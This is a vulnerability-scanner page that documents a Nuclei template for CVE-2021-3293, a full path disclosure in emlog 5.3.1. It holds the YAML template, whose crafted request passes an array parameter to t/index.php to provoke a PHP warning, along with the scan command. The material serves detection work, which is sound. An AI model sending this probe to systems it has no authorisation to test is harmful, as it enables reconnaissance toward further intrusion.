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emlog 5.3.1 Path Disclosure

ID: CVE-2021-3293

Severity: medium

Author: h1ei1

Tags: cve2021,cve,emlog,fpd

Description

Section titled “Description”

emlog v5.3.1 is susceptible to full path disclosure via t/index.php, which allows an attacker to see the path to the webroot/file.

YAML Source

Section titled “YAML Source”
id: CVE-2021-3293


info:
  name: emlog 5.3.1 Path Disclosure
  author: h1ei1
  severity: medium
  description: emlog v5.3.1 is susceptible to full path disclosure via t/index.php, which allows an attacker to see the path to the webroot/file.
  impact: |
    An attacker can gain knowledge of the server's file system structure, potentially leading to further attacks.
  remediation: |
    Apply the latest patch or upgrade to a version that fixes the vulnerability.
  reference:
    - https://github.com/emlog/emlog/issues/62
    - https://github.com/thinkgad/Bugs/blob/main/emlog%20v5.3.1%20has%20Full%20Path%20Disclosure%20vulnerability.md
    - https://nvd.nist.gov/vuln/detail/CVE-2021-3293
    - https://github.com/Z0fhack/Goby_POC
    - https://github.com/20142995/Goby
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2021-3293
    cwe-id: CWE-22
    epss-score: 0.003
    epss-percentile: 0.69462
    cpe: cpe:2.3:a:emlog:emlog:5.3.1:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: emlog
    product: emlog
  tags: cve2021,cve,emlog,fpd


http:
  - raw:
      - |
        GET /t/index.php?action[]=aaaa HTTP/1.1
        Host: {{Hostname}}


    matchers-condition: and
    matchers:
      - type: word
        words:
          - "<b>Warning</b>"
          - "on line"
          - "expects parameter"
        condition: and


      - type: status
        status:
          - 200
# digest: 4b0a00483046022100ac0b972765b8c1855a1f089a5f3ccad197d7b9c002c3995efb9b0c0566aad91f0221009802711ca93607ddb9e932c1521f527400ef1818d00f1133d29a0c6a78f010a6:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2021/CVE-2021-3293.yaml"

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